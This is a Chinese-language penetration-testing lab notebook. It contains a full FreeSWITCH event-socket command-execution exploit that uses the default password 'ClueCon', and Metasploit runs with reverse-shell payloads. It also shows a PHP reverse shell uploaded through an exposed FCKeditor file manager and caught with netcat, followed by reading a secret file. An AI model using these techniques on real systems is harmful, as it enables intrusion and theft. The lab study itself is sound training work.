Aggressive OS guesses: Microsoft Windows Server 2012 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows 7 Professional (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-03-11T08:30:38
|_ start_date: 2021-05-28T17:04:49
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: WIN-FH0N2VGINDJ, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de792 (Microsoft)
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 60.68 ms 192.168.200.1
2 11.27 ms 172.16.1.105
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 239.29 seconds
看到freeswitch,就找一下::
exploit-db:
上面網頁的底下是python檔,所以編輯後執行,但好像沒用?
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim freeswitch.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# chmod +x freeswitch.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ./freeswitch.py 172.16.1.105 whoami
./freeswitch.py: 12: from: not found
./freeswitch.py: 13: import: not found
./freeswitch.py: 15: Syntax error: word unexpected (expecting ")")
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python freeswitch.py 172.16.1.105 whoami
Authenticated
Content-Type: api/response
Content-Length: 23
python檔的內容如下:
# -- Example --
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami
# Authenticated
# Content-Type: api/response
# Content-Length: 20
#
# nt authority\system
#
#!/usr/bin/python3
from socket import *
import sys
if len(sys.argv) != 3:
print('Missing arguments')
print('Usage: freeswitch-exploit.py <target> <cmd>')
sys.exit(1)
ADDRESS=sys.argv[1]
CMD=sys.argv[2]
PASSWORD='ClueCon' # default password for FreeSWITCH
s=socket(AF_INET, SOCK_STREAM)
s.connect((ADDRESS, 8021))
response = s.recv(1024)
if b'auth/request' in response:
s.send(bytes('auth {}\n\n'.format(PASSWORD), 'utf8'))
response = s.recv(1024)
if b'+OK accepted' in response:
print('Authenticated')
s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))
response = s.recv(8096).decode()
print(response)
else:
print('Authentication failed')
sys.exit(1)
else:
print('Not prompted for authentication, likely not vulnerable')
sys.exit(1)
再看看有沒有別的poc:
第一個CVE太新了,看看第二個:
根據上面網頁,就是用metaspolit:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# msfconsole
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Set the current module's RHOSTS with
database values using hosts -R or services
-R
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search freeswitch
Matching Modules
================
# Name Disclosure Dat e Rank Check Description
- ---- -------------- - ---- ----- -----------
0 exploit/multi/misc/freeswitch_event_socket_cmd_exec 2019-11-03 excellent Yes FreeSWITCH Event Socket Command Execution
1 auxiliary/scanner/misc/freeswitch_event_socket_login normal Yes FreeSWITCH Event Socket Login
2 exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec 2019-06-06 excellent Yes FusionPBX Operator Panel exec.php Command Execution
Interact with a module by name or index. For example info 2, use 2 or use exploi t/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
msf6 > use 0
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
View the full module info with the info, or info -d command.
要注意我們想打的是windows的,所以這裡的Exploit target不對,看看能不能改:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Unix (In-Memory)
1 Linux (Dropper)
2 PowerShell (In-Memory)
3 Windows (In-Memory)
4 Windows (Dropper)
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2
target => 2
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 PowerShell (In-Memory)
View the full module info with the info, or info -d command.
把target設成windows的power shell。
要注意現在是跳vpn,所以lhost要以上圖為準:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 172.16.1.105
rhosts => 172.16.1.105
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 192.168.200.6
lhost => 192.168.200.6
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lport 8080
lport => 8080
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS 172.16.1.105 yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
2 PowerShell (In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:8080
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[*] Exploit completed, but no session was created.
payload有丟成功,但是爛掉了。可能是因為這漏洞被觸發的當下只能觸發一次,如果觸發到不該觸發的東西就爛掉了。
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 3
target => 3
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS 172.16.1.105 yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/windows/reverse_powershell):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
3 Windows (In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:8080
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (4305 bytes) ...
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 4
target => 4
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS 172.16.1.105 yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
4 Windows (Dropper)
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:8080
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[-] 172.16.1.105:8021 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).
[*] Exploit completed, but no session was created.
再去設定不同target,如3(windows in memory)跟4(windows dropper),windows dropper顯示SRVPORT 8080 yes The local port to listen on.
代表被占用。
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lport 7070
lport => 7070
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:7070
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[*] 172.16.1.105:8021 - Using URL: http://192.168.200.6:8080/Qxac3iJkY
[*] 172.16.1.105:8021 - Command Stager progress - 100.00% done (115/115 bytes)
[*] 172.16.1.105:8021 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2
target => 2
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:7070
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[*] Exploit completed, but no session was created.
換port跟換target都沒用,換下一題好了。
]]>知道是網頁,首先先查看有什麼目錄:
┌──(root㉿kali)-[~]
└─# nikto -host http://sales.itop.com.tw
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: sales.itop.com.tw
+ Target Port: 80
+ Start Time: 2023-02-26 07:18:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 8d, size: 59770f4ca6fd6, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /public/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7941 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-02-26 07:22:42 (GMT-5) (274 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
查看有什麼目錄:
┌──(root㉿kali)-[~]
└─# nikto -host http://market.itop.com.tw
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: market.itop.com.tw
+ Target Port: 80
+ Start Time: 2023-02-26 07:19:53 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 8d, size: 59770f1d49036, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ /admin/index.html: Admin login page/section found.
+ 7941 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2023-02-26 07:24:25 (GMT-5) (272 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
連連看主網頁:
連到到public,但也是連到主網頁:
發現沒有東西可以打,再用dirb,dirb可以亂猜可能的目錄,並測試是否真的存在:
┌──(root㉿kali)-[~]
└─# dirb http://sales.itop.com.tw/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 00:40:16 2023
URL_BASE: http://sales.itop.com.tw/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://sales.itop.com.tw/ ----
+ http://sales.itop.com.tw/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://sales.itop.com.tw/public/
+ http://sales.itop.com.tw/server-status (CODE:403|SIZE:297)
==> DIRECTORY: http://sales.itop.com.tw/upload/
---- Entering directory: http://sales.itop.com.tw/public/ ----
==> DIRECTORY: http://sales.itop.com.tw/public/file/
==> DIRECTORY: http://sales.itop.com.tw/public/flash/
==> DIRECTORY: http://sales.itop.com.tw/public/image/
+ http://sales.itop.com.tw/public/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://sales.itop.com.tw/public/media/
---- Entering directory: http://sales.itop.com.tw/upload/ ----
+ http://sales.itop.com.tw/upload/index.html (CODE:200|SIZE:141)
---- Entering directory: http://sales.itop.com.tw/public/file/ ----
+ http://sales.itop.com.tw/public/file/index.html (CODE:200|SIZE:141)
---- Entering directory: http://sales.itop.com.tw/public/flash/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://sales.itop.com.tw/public/image/ ----
+ http://sales.itop.com.tw/public/image/index.html (CODE:200|SIZE:141)
---- Entering directory: http://sales.itop.com.tw/public/media/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Feb 27 00:48:30 2023
DOWNLOADED: 23060 - FOUND: 6
對market也做一樣的事:
┌──(root㉿kali)-[~]
└─# dirb http://market.itop.com.tw
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 00:41:28 2023
URL_BASE: http://market.itop.com.tw/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://market.itop.com.tw/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/
+ http://market.itop.com.tw/index.html (CODE:200|SIZE:141)
+ http://market.itop.com.tw/server-status (CODE:403|SIZE:298)
---- Entering directory: http://market.itop.com.tw/admin/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/
+ http://market.itop.com.tw/admin/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/
+ http://market.itop.com.tw/admin/fckeditor/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/_source/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/css/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/dialog/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/images/
+ http://market.itop.com.tw/admin/fckeditor/editor/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/js/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/lang/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/plugins/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/skins/
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/_source/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/dialog/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/skins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Feb 27 00:48:38 2023
DOWNLOADED: 18448 - FOUND: 5
連到market的其中一個目錄。
點進去connectors:
可以發現上傳頁面,先玩玩看:
點選Get Folders and Files
,可以發現黑色區域會顯示一些文字:
再試試看Create Folder
功能,創建test資料夾,看看會有什麼結果:
更改Current Folder
跟Resource Type
,看看結果:
這時如果爆破sales的目錄,可以發現剛剛market的修改卻卻反映到sales上:
再把剛剛用過的reverse shell的php重新命名並上傳:
上傳以後再去按下圖的1:
攻擊機監聽:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8082
listening on [any] 8082 ...
連到reverse shell的網址
問題:到底如何找上傳後的路徑?
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8082
listening on [any] 8082 ...
connect to [192.168.200.3] from (UNKNOWN) [172.16.1.134] 41602
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
15:20:13 up 1 day, 1:18, 2 users, load average: 0.29, 0.10, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :0 :0 16Apr21 ?xdm? 58:30 0.10s init --user
jason pts/0 :0 15Dec21 439days 0.04s 0.04s bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
找特定檔案套路:
$ find / -type f -name secret.txt 2>/dev/null
/home/jason/Documents/secret.txt
$ cat /home/jason/Documents/secret.txt
Thr1amb0S
nmap掃過後發現80 port,用nikto看有哪些目錄:
┌──(root㉿kali)-[~]
└─# nikto -host http://172.16.1.134
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: 172.16.1.134
+ Target Port: 80
+ Start Time: 2023-02-27 02:53:15 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2cf6, size: 597701736c404, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7923 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2023-02-27 02:56:14 (GMT-5) (179 seconds)
---------------------------------------------------------------------------
只找到預設文件:
再用dirb看有無更多目錄:
┌──(root㉿kali)-[~]
└─# dirb http://172.16.1.134
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 02:58:51 2023
URL_BASE: http://172.16.1.134/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.1.134/ ----
+ http://172.16.1.134/index.html (CODE:200|SIZE:11510)
+ http://172.16.1.134/server-status (CODE:403|SIZE:292)
-----------------
END_TIME: Mon Feb 27 02:59:56 2023
DOWNLOADED: 4612 - FOUND: 2
gobuster是另一個暴力猜目錄的工具:
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt --url http://172.16.1.134
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.16.1.134
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/combined_directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/27 03:20:15 Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 292]
Progress: 100187 / 1377711 (7.27%)[ERROR] 2023/02/27 03:23:41 [!] parse "http://172.16.1.134/error\x1f_log": net/url: invalid control character in URL
/.htpasswd (Status: 403) [Size: 288]
/.htaccess (Status: 403) [Size: 288]
/index.html (Status: 200) [Size: 11510]
/.hta (Status: 403) [Size: 283]
/.html (Status: 403) [Size: 284]
/.php (Status: 403) [Size: 283]
/.htm (Status: 403) [Size: 283]
/. (Status: 200) [Size: 11510]
/.php3 (Status: 403) [Size: 284]
/.phtml (Status: 403) [Size: 285]
/.htc (Status: 403) [Size: 283]
/.php5 (Status: 403) [Size: 284]
/.html_var_de (Status: 403) [Size: 291]
/.php4 (Status: 403) [Size: 284]
/.html. (Status: 403) [Size: 285]
/.html.html (Status: 403) [Size: 289]
/.htpasswds (Status: 403) [Size: 289]
/.htm. (Status: 403) [Size: 284]
/.htmll (Status: 403) [Size: 285]
/.phps (Status: 403) [Size: 284]
/.html.old (Status: 403) [Size: 288]
/.html.bak (Status: 403) [Size: 288]
/.ht (Status: 403) [Size: 282]
/.htm.htm (Status: 403) [Size: 287]
/.htgroup (Status: 403) [Size: 287]
/.html1 (Status: 403) [Size: 285]
/.html.printable (Status: 403) [Size: 294]
/.html.lck (Status: 403) [Size: 288]
/.htm.lck (Status: 403) [Size: 287]
/.htaccess.bak (Status: 403) [Size: 292]
/.html.php (Status: 403) [Size: 288]
/.htmls (Status: 403) [Size: 285]
/.htx (Status: 403) [Size: 283]
/.html- (Status: 403) [Size: 285]
/.htlm (Status: 403) [Size: 284]
/.htm2 (Status: 403) [Size: 284]
/.htuser (Status: 403) [Size: 286]
/.html_var_DE (Status: 403) [Size: 291]
/.html.LCK (Status: 403) [Size: 288]
/.htm.LCK (Status: 403) [Size: 287]
/.htm.d (Status: 403) [Size: 285]
/.htm.html (Status: 403) [Size: 288]
/.htacess (Status: 403) [Size: 287]
/.htmlprint (Status: 403) [Size: 289]
/.hts (Status: 403) [Size: 283]
/.html_files (Status: 403) [Size: 290]
/.html_ (Status: 403) [Size: 285]
/.html.sav (Status: 403) [Size: 288]
/.html.orig (Status: 403) [Size: 289]
/.html-1 (Status: 403) [Size: 286]
/.htm.old (Status: 403) [Size: 287]
/.htmlpar (Status: 403) [Size: 287]
/.htaccess.old (Status: 403) [Size: 292]
/.htm.bak (Status: 403) [Size: 287]
/.htm3 (Status: 403) [Size: 284]
/.htm.rc (Status: 403) [Size: 286]
/.html-- (Status: 403) [Size: 286]
/.html-0 (Status: 403) [Size: 286]
/.htm8 (Status: 403) [Size: 284]
/.htm_ (Status: 403) [Size: 284]
/.html-2 (Status: 403) [Size: 286]
/.html-c (Status: 403) [Size: 286]
/.htm7 (Status: 403) [Size: 284]
/.htm5 (Status: 403) [Size: 284]
/.html-old (Status: 403) [Size: 288]
/.html-p (Status: 403) [Size: 286]
/.html.htm (Status: 403) [Size: 288]
/.html.images (Status: 403) [Size: 291]
/.html.none (Status: 403) [Size: 289]
/.html.inc (Status: 403) [Size: 288]
/.html.pdf (Status: 403) [Size: 288]
/.html.txt (Status: 403) [Size: 288]
/.html.start (Status: 403) [Size: 290]
/.html4 (Status: 403) [Size: 285]
/.html_old (Status: 403) [Size: 288]
/.html7 (Status: 403) [Size: 285]
/.htmlbak (Status: 403) [Size: 287]
/.html5 (Status: 403) [Size: 285]
/.htmldolmetschen (Status: 403) [Size: 295]
/.htmlu (Status: 403) [Size: 285]
/.htmlq (Status: 403) [Size: 285]
/.htmlfeed (Status: 403) [Size: 288]
/.htmlc (Status: 403) [Size: 285]
/.htmla (Status: 403) [Size: 285]
/.htn (Status: 403) [Size: 283]
/.pht (Status: 403) [Size: 283]
/.htmlDolmetschen (Status: 403) [Size: 295]
/.htmlBAK (Status: 403) [Size: 287]
Progress: 1377681 / 1377711 (100.00%)
===============================================================
2023/02/27 04:08:23 Finished
===============================================================
常用列舉工具所屬種類:
bind shell?
另一個實驗環境:
起手式,當然是先nmap:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.222 172.16.1.176 172.16.19.9
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 03:25 EST
Nmap scan report for 172.16.1.222
Host is up (0.095s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.19.9
Host is up (0.042s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Nmap done: 3 IP addresses (2 hosts up) scanned in 54.84 seconds
看看80 port有什麼:
點上圖log in卻連不到
連不到的原因:
再次編輯/etc/hosts,新增下圖紅線那一行:
這一次就可以連到:
